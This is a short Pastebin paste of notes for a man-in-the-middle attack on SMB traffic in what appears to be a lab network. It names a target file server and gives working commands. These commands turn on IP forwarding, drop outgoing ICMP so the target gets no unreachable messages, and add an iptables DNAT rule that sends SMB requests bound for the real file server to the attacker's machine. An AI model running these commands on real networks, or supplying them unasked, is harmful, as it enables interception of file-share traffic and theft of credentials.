Advertisement
iscomsa

Mimt

Sep 29th, 2018
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.63 KB | None | 0 0
  1. Switch IP: 10.10.10.254
  2. File server: 10.10.10.20
  3. Backup file server (target): 10.10.10.24
  4. Our IP: 10.10.10.201
  5.  
  6. enable IP forwarding :
  7. echo 1 > /proc/sys/net/ipv4/ip_forward
  8.  
  9.  
  10. We will be dropping all outgoing ICMP. This prevents the kernel sending port/host unreachable to our target.
  11.  
  12. iptables -A OUTPUT -p ICMP -j DROP
  13.  
  14. Since all packets will be going through our box, let's rewrite the destination address and port on the fly for all SMB requests destinated to 10.10.10.20:445 to our IP 10.10.10.201:445.
  15.  
  16. iptables -t nat -A PREROUTING -p tcp --dst 10.10.10.20 --dport 445 -j DNAT --to-destination 10.10.10.201:445
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement